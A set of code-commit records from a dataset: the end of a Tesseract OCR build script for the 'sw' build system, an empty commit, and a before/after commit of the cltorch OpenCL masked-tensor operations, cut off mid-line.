libtesseract.getCompilerType() == CompilerType::ClangCl)\n        {\n            libtesseract += \"__SSE4_1__\"_def;\n            libtesseract.CompileOptions.push_back(\"-arch:AVX2\");\n\n            libtesseract -=\n                \"src\/arch\/dotproductfma.cpp\";\n        }\n\n        libtesseract.Public += \"HAVE_CONFIG_H\"_d;\n        libtesseract.Public += \"_SILENCE_STDEXT_HASH_DEPRECATION_WARNINGS=1\"_d;\n        libtesseract.Public += \"HAVE_LIBARCHIVE\"_d;\n        libtesseract.Interface += sw::Shared, \"TESS_IMPORTS\"_d;\n        libtesseract.Private += sw::Shared, \"TESS_EXPORTS\"_d;\n\n        libtesseract.Public += \"org.sw.demo.danbloomberg.leptonica\"_dep;\n        libtesseract.Public += \"org.sw.demo.libarchive.libarchive\"_dep;\n\n        if (libtesseract.getBuildSettings().TargetOS.Type == OSType::Windows)\n        {\n            libtesseract.Public += \"ws2_32.lib\"_slib;\n            libtesseract.Protected += \"NOMINMAX\"_def;\n        }\n\n        libtesseract.Variables[\"TESSERACT_MAJOR_VERSION\"] = libtesseract.Variables[\"PACKAGE_MAJOR_VERSION\"];\n        libtesseract.Variables[\"TESSERACT_MINOR_VERSION\"] = libtesseract.Variables[\"PACKAGE_MINOR_VERSION\"];\n        libtesseract.Variables[\"TESSERACT_MICRO_VERSION\"] = libtesseract.Variables[\"PACKAGE_PATCH_VERSION\"];\n        libtesseract.Variables[\"TESSERACT_VERSION_STR\"] = \"master\";\n        libtesseract.configureFile(\"src\/api\/tess_version.h.in\", \"tess_version.h\");\n\n        \/\/ install\n        if (!libtesseract.DryRun)\n        {\n            const Files files\n            {\n                \/\/ from api\/makefile.am\n                \"src\/api\/apitypes.h\",\n                \"src\/api\/baseapi.h\",\n                \"src\/api\/capi.h\",\n                \"src\/api\/renderer.h\",\n                \"tess_version.h\",\n\n                \/\/from ccmain\/makefile.am\n                \"src\/ccmain\/thresholder.h\",\n                \"src\/ccmain\/ltrresultiterator.h\",\n                \"src\/ccmain\/pageiterator.h\",\n                \"src\/ccmain\/resultiterator.h\",\n                \"src\/ccmain\/osdetect.h\",\n\n                \/\/from ccstruct\/makefile.am\n                \"src\/ccstruct\/publictypes.h\",\n\n                \/\/from ccutil\/makefile.am\n                \"src\/ccutil\/genericvector.h\",\n                \"src\/ccutil\/helpers.h\",\n                \"src\/ccutil\/ocrclass.h\",\n                \"src\/ccutil\/platform.h\",\n                \"src\/ccutil\/serialis.h\",\n                \"src\/ccutil\/strngs.h\",\n                \"src\/ccutil\/unichar.h\",\n            };\n\n            auto d = libtesseract.BinaryDir \/ \"tesseract\";\n            fs::create_directories(d);\n            for (auto f : files)\n            {\n                libtesseract.check_absolute(f);\n                fs::copy_file(f, d \/ f.filename(), fs::copy_options::update_existing);\n            }\n        }\n    }\n\n    \/\/\n    auto &tesseract = tess.addExecutable(\"tesseract\");\n    tesseract += \"src\/api\/tesseractmain.cpp\";\n    tesseract += libtesseract;\n\n    \/\/\n    auto &tessopt = tess.addStaticLibrary(\"tessopt\");\n    tessopt += \"src\/training\/tessopt.*\"_rr;\n    tessopt.Public += libtesseract;\n\n    \/\/\n    auto &common_training = tess.addStaticLibrary(\"common_training\");\n    common_training +=\n        \"src\/training\/commandlineflags.cpp\",\n        \"src\/training\/commandlineflags.h\",\n        \"src\/training\/commontraining.cpp\",\n        \"src\/training\/commontraining.h\",\n        \"src\/training\/ctc.cpp\",\n        \"src\/training\/ctc.h\",\n        \"src\/training\/errorcounter.cpp\",\n        \"src\/training\/errorcounter.h\",\n        \"src\/training\/intfeaturedist.cpp\",\n        \"src\/training\/intfeaturedist.h\",\n        \"src\/training\/intfeaturemap.cpp\",\n        \"src\/training\/intfeaturemap.h\",\n        \"src\/training\/mastertrainer.cpp\",\n        \"src\/training\/mastertrainer.h\",\n        \"src\/training\/networkbuilder.cpp\",\n        \"src\/training\/networkbuilder.h\",\n        \"src\/training\/sampleiterator.cpp\",\n        \"src\/training\/sampleiterator.h\",\n        \"src\/training\/trainingsampleset.cpp\",\n        \"src\/training\/trainingsampleset.h\";\n    common_training.Public += tessopt;\n\n    \/\/\n    auto &unicharset_training = tess.addStaticLibrary(\"unicharset_training\");\n    unicharset_training +=\n        \"src\/training\/fileio.*\"_rr,\n        \"src\/training\/icuerrorcode.*\"_rr,\n        \"src\/training\/icuerrorcode.h\",\n        \"src\/training\/lang_model_helpers.*\"_rr,\n        \"src\/training\/lstmtester.*\"_rr,\n        \"src\/training\/lstmtrainer.*\"_rr,\n        \"src\/training\/normstrngs.*\"_rr,\n        \"src\/training\/unicharset_training_utils.*\"_rr,\n        \"src\/training\/validat.*\"_rr;\n    unicharset_training.Public += common_training;\n    unicharset_training.Public += \"org.sw.demo.unicode.icu.i18n\"_dep;\n\n    \/\/\n#define ADD_EXE(n, ...)               \\\n    auto &n = tess.addExecutable(#n); \\\n    n += \"src\/training\/\" #n \".*\"_rr;  \\\n    n.Public += __VA_ARGS__;          \\\n    n\n\n    ADD_EXE(ambiguous_words, libtesseract);\n    ADD_EXE(classifier_tester, common_training);\n    ADD_EXE(combine_lang_model, unicharset_training);\n    ADD_EXE(combine_tessdata, libtesseract);\n    ADD_EXE(cntraining, common_training);\n    ADD_EXE(dawg2wordlist, libtesseract);\n    ADD_EXE(mftraining, common_training) += \"src\/training\/mergenf.*\"_rr;\n    ADD_EXE(shapeclustering, common_training);\n    ADD_EXE(unicharset_extractor, unicharset_training);\n    ADD_EXE(wordlist2dawg, libtesseract);\n    ADD_EXE(lstmeval, unicharset_training);\n    ADD_EXE(lstmtraining, unicharset_training);\n    ADD_EXE(set_unicharset_properties, unicharset_training);\n\n    ADD_EXE(text2image, unicharset_training);\n    text2image +=\n        \"src\/training\/boxchar.cpp\",\n        \"src\/training\/boxchar.h\",\n        \"src\/training\/degradeimage.cpp\",\n        \"src\/training\/degradeimage.h\",\n        \"src\/training\/icuerrorcode.h\",\n        \"src\/training\/ligature_table.cpp\",\n        \"src\/training\/ligature_table.h\",\n        \"src\/training\/normstrngs.cpp\",\n        \"src\/training\/normstrngs.h\",\n        \"src\/training\/pango_font_info.cpp\",\n        \"src\/training\/pango_font_info.h\",\n        \"src\/training\/stringrenderer.cpp\",\n        \"src\/training\/stringrenderer.h\",\n        \"src\/training\/text2image.cpp\",\n        \"src\/training\/tlog.cpp\",\n        \"src\/training\/tlog.h\",\n        \"src\/training\/util.h\";\n    text2image.Public += \"org.sw.demo.gnome.pango.pangocairo\"_dep;\n}\n\nvoid check(Checker &c)\n{\n    auto &s = c.addSet(\"libtesseract\");\n    s.checkFunctionExists(\"getline\");\n    s.checkIncludeExists(\"dlfcn.h\");\n    s.checkIncludeExists(\"inttypes.h\");\n    s.checkIncludeExists(\"limits.h\");\n    s.checkIncludeExists(\"malloc.h\");\n    s.checkIncludeExists(\"memory.h\");\n    s.checkIncludeExists(\"stdbool.h\");\n    s.checkIncludeExists(\"stdint.h\");\n    s.checkIncludeExists(\"stdlib.h\");\n    s.checkIncludeExists(\"string.h\");\n    s.checkIncludeExists(\"sys\/ipc.h\");\n    s.checkIncludeExists(\"sys\/shm.h\");\n    s.checkIncludeExists(\"sys\/stat.h\");\n    s.checkIncludeExists(\"sys\/types.h\");\n    s.checkIncludeExists(\"sys\/wait.h\");\n    s.checkIncludeExists(\"tiffio.h\");\n    s.checkIncludeExists(\"unistd.h\");\n    s.checkTypeSize(\"long long int\");\n    s.checkTypeSize(\"mbstate_t\");\n    s.checkTypeSize(\"off_t\");\n    s.checkTypeSize(\"size_t\");\n    s.checkTypeSize(\"void *\");\n    s.checkTypeSize(\"wchar_t\");\n    s.checkTypeSize(\"_Bool\");\n    {\n        auto &c = s.checkSymbolExists(\"snprintf\");\n        c.Parameters.Includes.push_back(\"stdio.h\");\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>don't crash when destroying children<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ from lib\/THC\/THCTensorMasked.cu:\n\n#if defined(__APPLE__) || defined(__MACOSX)\n#include <OpenCL\/cl.h>\n#else\n#include <CL\/cl.h>\n#endif\n\n#include <boost\/compute\/core.hpp>\n#include <boost\/compute\/iterator\/buffer_iterator.hpp>\n#include <boost\/compute\/algorithm\/reverse.hpp>\n#include <boost\/compute\/algorithm\/transform_if.hpp>\n#include <boost\/compute\/lambda.hpp>\n#include <boost\/compute\/iterator\/zip_iterator.hpp>\n\n#include \"THClTensorMath.h\"\n#include \"THClGeneral.h\"\n#include \"THClBlas.h\"\n#include \"THClTensorCopy.h\"\n\/\/#include \"THClTensorRandom.h\"\n#include \"THClApply.h\"\n#include \"THClReduce.h\"\n\n#include <iostream>\nusing namespace std;\n\n\/\/ The largest consecutive integer representable in float32 (2^24)\n#define FLOAT32_MAX_CONSECUTIVE_INT 16777216.0f\n\nclass TensorMaskedFillOp : public HasOperator2, public HasScalars {\npublic:\n  int getNumScalars() const { return 1; }\n  float getScalar( int index ) const { return value; }\n  TensorMaskedFillOp(float v) : value(v) {}\n  std::string operator2() const {\n    return \"if( *in1 != 0.0f ) { *out = val1; }\";\n  }\n  float value;\n};\n\nclass TensorMaskedCopyOp : public HasOperator2, public HasGlobalTensors {\npublic:\n  TensorMaskedCopyOp(THClTensor *src, THClTensor *baseMask, THClTensor *maskPrefixSum) :\n    src(src), baseMask(baseMask), maskPrefixSum(maskPrefixSum) {\n  }\n  int getNumGlobalTensors() const { return 3; }\n  THClTensor *getTensor(int index) const {\n    if(index == 0){ return src; }\n    if(index == 1){ return baseMask; }\n    if(index == 2){ return maskPrefixSum; }\n    THError(\"index not recognized %i\", index);\n    return 0;\n  }\n  std::string getTensorName(int index) const {\n    if(index == 0){ return \"src\"; }\n    if(index == 1){ return \"baseMask\"; }\n    if(index == 2){ return \"maskPrefixSum\"; }\n    THError(\"index not recognized %i\", index);\n    return \"\";\n  }\n  std::string operator2() const {\n    return \"if( *in1 != 0.0f ) { *out = src[(int)maskPrefixSum[srcOffset] ]; }\";\n  }\n  THClTensor *src;\n  THClTensor *baseMask;\n  THClTensor *maskPrefixSum;\n};\n\n\/\/struct TensorMaskedCopyOp {\n\/\/  TensorMaskedCopyOp(float* s, float* bm, float* ps)\n\/\/      : src(s),\n\/\/        baseMask(bm),\n\/\/        maskPrefixSum(ps) {\n\/\/  }\n\n\/\/  \/*__device__*\/ \/*__forceline__*\/ void operator()(float* out, float* mask) {\n\/\/    \/\/ Really mask should be `0` or `1` but we can't propagate errors here.\n\/\/    if (*mask != 0.0f) {\n\/\/      \/\/ We've already checked that this offset is <= 2^24, so this is ok.\n\/\/      int srcOffset = (int) (mask - baseMask);\n\/\/      *out = src[(int) maskPrefixSum[srcOffset]];\n\/\/    }\n\/\/  }\n\n\/\/  \/\/ Where we are copying from\n\/\/  float* src;\n\n\/\/  \/\/ The base address of mask so we can calculate offset\n\/\/  float* baseMask;\n\n\/\/  \/\/ The index we are copying from\n\/\/  float* maskPrefixSum;\n\/\/};\n\n\/\/class TensorMaskedSelectOp : public HasOperator3, public HasScalars {\n\/\/public:\n\/\/  int getNumScalars() const { return 1; }\n\/\/  string operator3() const {\n\/\/    return \"if(*out != 0.0f){out[(int)*in1] = *in2; }\";\n\/\/  }\n\/\/  TensorMaskedSelectOp(float* t) : out(t) {}\n\/\/  void operator()(float* mask, float* maskPrefixSum, float* in) {\n\/\/    \/\/ Really mask should be `0` or `1` but we can't propagate errors here.\n\/\/    if (*mask != 0.0f) {\n\/\/      out[(int) *maskPrefixSum] = *in;\n\/\/    }\n\/\/  }\n\n\/\/  float* out;\n\/\/};\n\nvoid THClTensor_maskedFill(THClState* state,\n                             THClTensor *tensor, THClTensor *mask, float value)\n{\n  THAssert(THClTensor_checkGPU(state, 2, tensor, mask));\n  THArgCheck(THClTensor_nElement(state, tensor) ==\n             THClTensor_nElement(state, mask),\n             2, \"sizes do not match\");\n\n  TensorMaskedFillOp op(value);\n  if (!THClTensor_pointwiseApply2(state, tensor, mask, &op)) {\n    THArgCheck(false, 2, CLTORCH_DIM_WARNING);\n  }\n}\n\nvoid THClTensor_maskedCopy(THClState* state,\n                             THClTensor *tensor, THClTensor *mask, THClTensor *src)\n{\n  THAssert(THClTensor_checkGPU(state, 3, tensor, src, mask));\n  long maskSize = THClTensor_nElement(state, mask);\n  long tensorSize = THClTensor_nElement(state, tensor);\n  long srcSize = THClTensor_nElement(state, src);\n\n  \/\/ Since we are performing a prefix sum of mask, it cannot exceed\n  \/\/ the size allowed in consecutive integers in float32\n  THArgCheck(maskSize <= (long) FLOAT32_MAX_CONSECUTIVE_INT,\n             3, \"mask nElements exceeds single-precision float \"\n             \"consecutive integer precision size (2^24)\");\n\n  \/\/ `mask` and `tensor` must have the same number of elements\n  THArgCheck(maskSize == tensorSize, 2,\n             \"mask and tensor must have the same number of elements\");\n\n  THClTensor* contigMask = THClTensor_newContiguous(state, mask);\n  long oneElements = (long) THClTensor_sumall(state, contigMask);\n\n  \/\/ The number of `1` elements present in the mask must be <= the\n  \/\/ number of elements available in `src`\n  if (oneElements > srcSize) {\n    THClTensor_free(state, contigMask);\n    THArgCheck(false, 2, \"source nElements must be == mask `1` elements\");\n  }\n\n  \/\/ Use a prefix sum to determine the copy locations of the masked elements\n  THClTensor* maskPrefixSum = THClTensor_newv2(state, src->storage->device);\n  THClTensor_resizeAs(state, maskPrefixSum, contigMask);\n\n  \/\/ We are getting elements from `src` based on an offset from\n  \/\/ `maskPrefixSum`, so that should be made contiguous too\n  THClTensor* contigSrc = THClTensor_newContiguous(state, src);\n\n\/\/  TensorAddOp cumOp;\n\/\/  THAssert(THClTensor_checkGPU(state, 2, maskData, maskPrefixSumData));\n\/\/  THClTensor_scanDim(state, maskPrefixSumData, maskData, dimension, 0.0f, &cumOp);\n  \/\/ hmmmm: this is scanDim, but what we really need is somsething like: scanAll\n\n\/\/   thrust::device_ptr<float>\n\/\/    maskData(THClTensor_data(state, contigMask));\n\/\/   thrust::device_ptr<float>\n\/\/    maskPrefixSumData(THClTensor_data(state, maskPrefixSum));\n\/\/   thrust::exclusive_scan(maskData,\n\/\/                         maskData + THClTensor_nElement(state, contigMask),\n\/\/                         maskPrefixSumData);\n  THError(\"Not implemented\");\n\n  \/\/ update `tensor` where `mask` == 1 but pull from `src` at\n  \/\/ maskPrefixSum\n  TensorMaskedCopyOp maskedCopyOp(\n     contigSrc, contigMask, maskPrefixSum);\n  bool status = THClTensor_pointwiseApply2(\n    state, tensor, contigMask, &maskedCopyOp);\n  THError(\"Not implemented\");\n\n  THClTensor_free(state, contigSrc);\n  THClTensor_free(state, maskPrefixSum);\n  THClTensor_free(state, contigMask);\n\n  THArgCheck(status, 2, CLTORCH_DIM_WARNING);\n\n  THError(\"Not implemented\");\n}\n\nvoid THClTensor_maskedSelect(THClState* state,\n                              THClTensor *tensor, THClTensor *src, THClTensor *mask)\n  {\n  THAssert(THClTensor_checkGPU(state, 3, tensor, src, mask));\n  THArgCheck(THClTensor_nElement(state, mask) == THClTensor_nElement(state, src),\n            2, \"sizes do not match\");\n\n  \/\/ Since we are performing a prefix sum of mask, it cannot exceed\n  \/\/ the size allowed in consecutive integers in float32\n  THArgCheck(THClTensor_nElement(state, mask) <=\n            (long) FLOAT32_MAX_CONSECUTIVE_INT,\n            3, \"mask nElements exceeds single-precision float \"\n            \"consecutive integer precision size (2^24)\");\n\n  THClTensor* contigSrc = THClTensor_newContiguous(state, src);\n\n  \/\/ Determine our output size\n  THClTensor* contigMask = THClTensor_newContiguous(state, mask);\n  long totalElements = (long) THClTensor_sumall(state, contigMask);\n  cout << \"totalElements \" << totalElements << endl;\n\n  \/\/ This should be contiguous already, so no need to make it contig\n  \/\/ for the apply kernel\n  THClTensor_resize1d(state, tensor, totalElements);\n\n  \/\/ Use a prefix sum to determine the output locations of the masked elements\n  \/\/ THClTensor* maskPrefixSum = THClTensor_new(state);\n  \/\/ THClTensor_resizeAs(state, maskPrefixSum, contigMask);\n\n\n  \/\/ ==== boost compute bit starts ========\n\n    EasyCL *cl = src->storage->cl;\n\n    boost::compute::context boost_context(*cl->context);\n    boost::compute::command_queue boost_queue(*cl->queue);\n\n    boost::compute::buffer boostData(*contigSrc->storage->wrapper->getDeviceArray());\n    boost::compute::buffer boostMask(*contigMask->storage->wrapper->getDeviceArray());\n    boost::compute::buffer boostOut(*tensor->storage->wrapper->getDeviceArray());\n\n    transform_if(\n      make_zip_iterator(\n        boost::make_tuple(\n        boost::compute::make_buffer_iterator<float>(boostData, 0),\n        boost::compute::make_buffer_iterator<float>(boostMask, 0)\n        )\n      ),\n      make_zip_iterator(\n        boost::make_tuple(\n        boost::compute::make_buffer_iterator<float>(boostData, THClTensor_nElement(state, mask)),\n        boost::compute::make_buffer_iterator<float>(boostMask, THClTensor_nElement(state, mask))\n        )\n      ),\n      boost::compute::make_buffer_iterator<float>(boostOut, 0),\n      boost::compute::get<0>(), \/\/ function that return input value\n      boost::compute::lambda::get<1>(boost::compute::_1) == 1, \/\/ lambda function that checks if mask is 1\n      boost_queue \/\/ command queue (boost::compute::command_queue object)\n    );\n    tensor->storage->wrapper->markDeviceDirty();\n\n  \/\/ ==== boost compute bit ends ========\n\n  \/\/ thrust::device_ptr<float>\n  \/\/    maskData(THClTensor_data(state, contigMask));\n  \/\/ thrust::device_ptr<float>\n  \/\/   maskPrefixSumData(THClTensor_data(state, maskPrefixSum));\n  \/\/ thrust::exclusive_scan(maskData,\n  \/\/                       maskData + THClTensor_nElement(state, contigMask),\n  \/\/                       maskPrefixSumData);\n\n  \/\/ Then copy over the masked elements at their desired output index\n  \/\/ bool status = THClTensor_pointwiseApply3(\n  \/\/  state, contigMask, maskPrefixSum,\n  \/\/  src, TensorMaskedSelectOp(THClTensor_data(state, tensor)));\n\n  THClTensor_free(state, contigSrc);\n  THClTensor_free(state, contigMask);\n  \/\/ THClTensor_free(state, maskPrefixSum);\n\n  \/\/ THArgCheck(status, 2, CLTORCH_DIM_WARNING);\n\n  \/\/ THError(\"Not implemented\");\n}\n\n\/\/void THClTensor_maskedFillByte(THClState* state, THClTensor *tensor, THByteTensor *mask, float value)\n\/\/{\n\/\/  THAssert(THClTensor_checkGPU(state, 1, tensor));\n\/\/  THLongStorage* maskSize = THByteTensor_newSizeOf(mask);\n\/\/  THClTensor* maskCl = THClTensor_newWithSize(state, maskSize, NULL);\n\/\/  THLongStorage_free(maskSize);\n\/\/  THClTensor_copyByte(state, maskCl, mask);\n\/\/  THClTensor_maskedFill(state, tensor, maskCl, value);\n\/\/  THClTensor_free(state, maskCl);\n\/\/}\n\n\/\/void THClTensor_maskedCopyByte(THClState* state, THClTensor *tensor, THByteTensor *mask, THClTensor *src)\n\/\/{\n\/\/  THAssert(THClTensor_checkGPU(state, 2, tensor, src));\n\/\/  THLongStorage* maskSize = THByteTensor_newSizeOf(mask);\n\/\/  THClTensor* maskCl = THClTensor_newWithSize(state, maskSize, NULL);\n\/\/  THLongStorage_free(maskSize);\n\/\/  THClTensor_copyByte(state, maskCl, mask);\n\/\/  THClTensor_maskedCopy(state, tensor, maskCl, src);\n\/\/  THClTensor_free(state, maskCl);\n\/\/}\n\n\/\/void THClTensor_maskedSelectByte(THClState* state, THClTensor *tensor, THClTensor *src, THByteTensor *mask)\n\/\/{\n\/\/  THAssert(THClTensor_checkGPU(state, 2, tensor, src));\n\/\/  THLongStorage* maskSize = THByteTensor_newSizeOf(mask);\n\/\/  THClTensor* maskCl = THClTensor_newWithSize(state, maskSize, NULL);\n\/\/  THLongStorage_free(maskSize);\n\/\/  THClTensor_copyByte(state, maskCl, mask);\n\/\/  THClTensor_maskedSelect(state, tensor, src, maskCl);\n\/\/  THClTensor_free(state, maskCl);\n\/\/}\n\n<commit_msg>add masked select byte<commit_after>\/\/ from lib\/THC\/THCTensorMasked.cu:\n\n#if defined(__APPLE__) || defined(__MACOSX)\n#include <OpenCL\/cl.h>\n#else\n#include <CL\/cl.h>\n#endif\n\n#include <boost\/compute\/core.hpp>\n#include <boost\/compute\/iterator\/buffer_iterator.hpp>\n#include <boost\/compute\/algorithm\/reverse.hpp>\n#include <boost\/compute\/algorithm\/transform_if.hpp>\n#include <boost\/compute\/lambda.hpp>\n#include <boost\/compute\/iterator\/zip_iterator.hpp>\n\n#include \"THClTensorMath.h\"\n#include \"THClGeneral.h\"\n#include \"THClBlas.h\"\n#include \"THClTensorCopy.h\"\n\/\/#include \"THClTensorRandom.h\"\n#include \"THClApply.h\"\n#include \"THClReduce.h\"\n\n#include <iostream>\nusing namespace std;\n\n\/\/ The largest consecutive integer representable in float32 (2^24)\n#define FLOAT32_MAX_CONSECUTIVE_INT 16777216.0f\n\nclass TensorMaskedFillOp : public HasOperator2, public HasScalars {\npublic:\n  int getNumScalars() const { return 1; }\n  float getScalar( int index ) const { return value; }\n  TensorMaskedFillOp(float v) : value(v) {}\n  std::string operator2() const {\n    return \"if( *in1 != 0.0f ) { *out = val1; }\";\n  }\n  float value;\n};\n\nclass TensorMaskedCopyOp : public HasOperator2, public HasGlobalTensors {\npublic:\n  TensorMaskedCopyOp(THClTensor *src, THClTensor *baseMask, THClTensor *maskPrefixSum) :\n    src(src), baseMask(baseMask), maskPrefixSum(maskPrefixSum) {\n  }\n  int getNumGlobalTensors() const { return 3; }\n  THClTensor *getTensor(int index) const {\n    if(index == 0){ return src; }\n    if(index == 1){ return baseMask; }\n    if(index == 2){ return maskPrefixSum; }\n    THError(\"index not recognized %i\", index);\n    return 0;\n  }\n  std::string getTensorName(int index) const {\n    if(index == 0){ return \"src\"; }\n    if(index == 1){ return \"baseMask\"; }\n    if(index == 2){ return \"maskPrefixSum\"; }\n    THError(\"index not recognized %i\", index);\n    return \"\";\n  }\n  std::string operator2() const {\n    return \"if( *in1 != 0.0f ) { *out = src[(int)maskPrefixSum[srcOffset] ]; }\";\n  }\n  THClTensor *src;\n  THClTensor *baseMask;\n  THClTensor *maskPrefixSum;\n};\n\n\/\/struct TensorMaskedCopyOp {\n\/\/  TensorMaskedCopyOp(float* s, float* bm, float* ps)\n\/\/      : src(s),\n\/\/        baseMask(bm),\n\/\/        maskPrefixSum(ps) {\n\/\/  }\n\n\/\/  \/*__device__*\/ \/*__forceline__*\/ void operator()(float* out, float* mask) {\n\/\/    \/\/ Really mask should be `0` or `1` but we can't propagate errors here.\n\/\/    if (*mask != 0.0f) {\n\/\/      \/\/ We've already checked that this offset is <= 2^24, so this is ok.\n\/\/      int srcOffset = (int) (mask - baseMask);\n\/\/      *out = src[(int) maskPrefixSum[srcOffset]];\n\/\/    }\n\/\/  }\n\n\/\/  \/\/ Where we are copying from\n\/\/  float* src;\n\n\/\/  \/\/ The base address of mask so we can calculate offset\n\/\/  float* baseMask;\n\n\/\/  \/\/ The index we are copying from\n\/\/  float* maskPrefixSum;\n\/\/};\n\n\/\/class TensorMaskedSelectOp : public HasOperator3, public HasScalars {\n\/\/public:\n\/\/  int getNumScalars() const { return 1; }\n\/\/  string operator3() const {\n\/\/    return \"if(*out != 0.0f){out[(int)*in1] = *in2; }\";\n\/\/  }\n\/\/  TensorMaskedSelectOp(float* t) : out(t) {}\n\/\/  void operator()(float* mask, float* maskPrefixSum, float* in) {\n\/\/    \/\/ Really mask should be `0` or `1` but we can't propagate errors here.\n\/\/    if (*mask != 0.0f) {\n\/\/      out[(int) *maskPrefixSum] = *in;\n\/\/    }\n\/\/  }\n\n\/\/  float* out;\n\/\/};\n\nvoid THClTensor_maskedFill(THClState* state,\n                             THClTensor *tensor, THClTensor *mask, float value)\n{\n  THAssert(THClTensor_checkGPU(state, 2, tensor, mask));\n  THArgCheck(THClTensor_nElement(state, tensor) ==\n             THClTensor_nElement(state, mask),\n             2, \"sizes do not match\");\n\n  TensorMaskedFillOp op(value);\n  if (!THClTensor_pointwiseApply2(state, tensor, mask, &op)) {\n    THArgCheck(false, 2, CLTORCH_DIM_WARNING);\n  }\n}\n\nvoid THClTensor_maskedCopy(THClState* state,\n                             THClTensor *tensor, THClTensor *mask, THClTensor *src)\n{\n  THAssert(THClTensor_checkGPU(state, 3, tensor, src, mask));\n  long maskSize = THClTensor_nElement(state, mask);\n  long tensorSize = THClTensor_nElement(state, tensor);\n  long srcSize = THClTensor_nElement(state, src);\n\n  \/\/ Since we are performing a prefix sum of mask, it cannot exceed\n  \/\/ the size allowed in consecutive integers in float32\n  THArgCheck(maskSize <= (long) FLOAT32_MAX_CONSECUTIVE_INT,\n             3, \"mask nElements exceeds single-precision float \"\n             \"consecutive integer precision size (2^24)\");\n\n  \/\/ `mask` and `tensor` must have the same number of elements\n  THArgCheck(maskSize == tensorSize, 2,\n             \"mask and tensor must have the same number of elements\");\n\n  THClTensor* contigMask = THClTensor_newContiguous(state, mask);\n  long oneElements = (long) THClTensor_sumall(state, contigMask);\n\n  \/\/ The number of `1` elements present in the mask must be <= the\n  \/\/ number of elements available in `src`\n  if (oneElements > srcSize) {\n    THClTensor_free(state, contigMask);\n    THArgCheck(false, 2, \"source nElements must be == mask `1` elements\");\n  }\n\n  \/\/ Use a prefix sum to determine the copy locations of the masked elements\n  THClTensor* maskPrefixSum = THClTensor_newv2(state, src->storage->device);\n  THClTensor_resizeAs(state, maskPrefixSum, contigMask);\n\n  \/\/ We are getting elements from `src` based on an offset from\n  \/\/ `maskPrefixSum`, so that should be made contiguous too\n  THClTensor* contigSrc = THClTensor_newContiguous(state, src);\n\n\/\/  TensorAddOp cumOp;\n\/\/  THAssert(THClTensor_checkGPU(state, 2, maskData, maskPrefixSumData));\n\/\/  THClTensor_scanDim(state, maskPrefixSumData, maskData, dimension, 0.0f, &cumOp);\n  \/\/ hmmmm: this is scanDim, but what we really need is somsething like: scanAll\n\n\/\/   thrust::device_ptr<float>\n\/\/    maskData(THClTensor_data(state, contigMask));\n\/\/   thrust::device_ptr<float>\n\/\/    maskPrefixSumData(THClTensor_data(state, maskPrefixSum));\n\/\/   thrust::exclusive_scan(maskData,\n\/\/                         maskData + THClTensor_nElement(state, contigMask),\n\/\/                         maskPrefixSumData);\n  THError(\"Not implemented\");\n\n  \/\/ update `tensor` where `mask` == 1 but pull from `src` at\n  \/\/ maskPrefixSum\n  TensorMaskedCopyOp maskedCopyOp(\n     contigSrc, contigMask, maskPrefixSum);\n  bool status = THClTensor_pointwiseApply2(\n    state, tensor, contigMask, &maskedCopyOp);\n  THError(\"Not implemented\");\n\n  THClTensor_free(state, contigSrc);\n  THClTensor_free(state, maskPrefixSum);\n  THClTensor_free(state, contigMask);\n\n  THArgCheck(status, 2, CLTORCH_DIM_WARNING);\n\n  THError(\"Not implemented\");\n}\n\nvoid THClTensor_maskedSelect(THClState* state,\n                              THClTensor *tensor, THClTensor *src, THClTensor *mask)\n  {\n  THAssert(THClTensor_checkGPU(state, 3, tensor, src, mask));\n  THArgCheck(THClTensor_nElement(state, mask) == THClTensor_nElement(state, src),\n            2, \"sizes do not match\");\n\n  \/\/ Since we are performing a prefix sum of mask, it cannot exceed\n  \/\/ the size allowed in consecutive integers in float32\n  THArgCheck(THClTensor_nElement(state, mask) <=\n            (long) FLOAT32_MAX_CONSECUTIVE_INT,\n            3, \"mask nElements exceeds single-precision float \"\n            \"consecutive integer precision size (2^24)\");\n\n  THClTensor* contigSrc = THClTensor_newContiguous(state, src);\n\n  \/\/ Determine our output size\n  THClTensor* contigMask = THClTensor_newContiguous(state, mask);\n  long totalElements = (long) THClTensor_sumall(state, contigMask);\n  cout << \"totalElements \" << totalElements << endl;\n\n  \/\/ This should be contiguous already, so no need to make it contig\n  \/\/ for the apply kernel\n  THClTensor_resize1d(state, tensor, totalElements);\n\n  \/\/ Use a prefix sum to determine the output locations of the masked elements\n  \/\/ THClTensor* maskPrefixSum = THClTensor_new(state);\n  \/\/ THClTensor_resizeAs(state, maskPrefixSum, contigMask);\n\n\n  \/\/ ==== boost compute bit starts ========\n\n    EasyCL *cl = src->storage->cl;\n\n    boost::compute::context boost_context(*cl->context);\n    boost::compute::command_queue boost_queue(*cl->queue);\n\n    boost::compute::buffer boostData(*contigSrc->storage->wrapper->getDeviceArray());\n    boost::compute::buffer boostMask(*contigMask->storage->wrapper->getDeviceArray());\n    boost::compute::buffer boostOut(*tensor->storage->wrapper->getDeviceArray());\n\n    transform_if(\n      make_zip_iterator(\n        boost::make_tuple(\n        boost::compute::make_buffer_iterator<float>(boostData, 0),\n        boost::compute::make_buffer_iterator<float>(boostMask, 0)\n        )\n      ),\n      make_zip_iterator(\n        boost::make_tuple(\n        boost::compute::make_buffer_iterator<float>(boostData, THClTensor_nElement(state, mask)),\n        boost::compute::make_buffer_iterator<float>(boostMask, THClTensor_nElement(state, mask))\n        )\n      ),\n      boost::compute::make_buffer_iterator<float>(boostOut, 0),\n      boost::compute::get<0>(), \/\/ function that return input value\n      boost::compute::lambda::get<1>(boost::compute::_1) == 1, \/\/ lambda function that checks if mask is 1\n      boost_queue \/\/ command queue (boost::compute::command_queue object)\n    );\n    tensor->storage->wrapper->markDeviceDirty();\n\n  \/\/ ==== boost compute bit ends ========\n\n  \/\/ thrust::device_ptr<float>\n  \/\/    maskData(THClTensor_data(state, contigMask));\n  \/\/ thrust::device_ptr<float>\n  \/\/   maskPrefixSumData(THClTensor_data(state, maskPrefixSum));\n  \/\/ thrust::exclusive_scan(maskData,\n  \/\/                       maskData + THClTensor_nElement(state, contigMask),\n  \/\/                       maskPrefixSumData);\n\n  \/\/ Then copy over the masked elements at their desired output index\n  \/\/ bool status = THClTensor_pointwiseApply3(\n  \/\/  state, contigMask, maskPrefixSum,\n  \/\/  src, TensorMaskedSelectOp(THClTensor_data(state, tensor)));\n\n  THClTensor_free(state, contigSrc);\n  THClTensor_free(state, contigMask);\n  \/\/ THClTensor_free(state, maskPrefixSum);\n\n  \/\/ THArgCheck(status, 2, 